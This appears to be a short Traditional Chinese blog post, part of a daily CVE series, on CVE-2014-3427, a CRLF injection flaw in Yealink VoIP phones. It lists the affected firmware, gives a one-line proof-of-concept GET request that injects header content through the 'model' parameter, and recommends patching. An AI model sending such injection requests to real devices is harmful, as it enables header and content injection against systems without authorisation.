Yealink VoIP Phones CRLF 漏洞 -- CVE-2014-3427 - iT 邦幫忙::一起幫忙解決難題，拯救 IT 人的一天

DAY 29

1

天天CVE系列第 29 篇

Yealink VoIP Phones CRLF 漏洞 -- CVE-2014-3427

鐵人賽

2014-10-26 22:18:30

1117 瀏覽

分享至

簡介

Yealink VoIP Phones 有 CRLF 漏洞，造成可以注入任意 HTTP Header 或任意網頁內容。

Warning

Firmware Version 28.72.0.2
Hardware Version 28.2.0.128.0.0.0

PoC

GET /servlet?linepage=1&model=%0d%0a%20 ANYTHING I WANT GOES HERE &p=dsskey&q=load HTTP/1.1

結論

打 Patch 更新。

參考資料：http://seclists.org/fulldisclosure/2014/Jun/74

Windows PowerPoint 漏洞 --CVE-2014-4114

Yealink VoIP Phones XSS 漏洞 -- CVE-2014-3428

系列文

天天CVE 共 30 篇

目錄

RSS系列文訂閱系列文

3 人訂閱

完整目錄

直播研討會

{{ item.subject }}

{{ item.channelVendor }} {{ item.webinarstarted }} |

{{ formatDate(item.duration) }}

直播中

尚未有邦友留言

立即登入留言

參賽組數

1064 組

團體組數

40 組

累計文章數

22058 篇

完賽人數

594 人

15th鐵人賽 16th鐵人賽 13th鐵人賽 14th鐵人賽 12th鐵人賽 11th鐵人賽鐵人賽 2019鐵人賽 javascript 2018鐵人賽 python 2017鐵人賽 windows php c# windows server linux css react vue.js

IT邦幫忙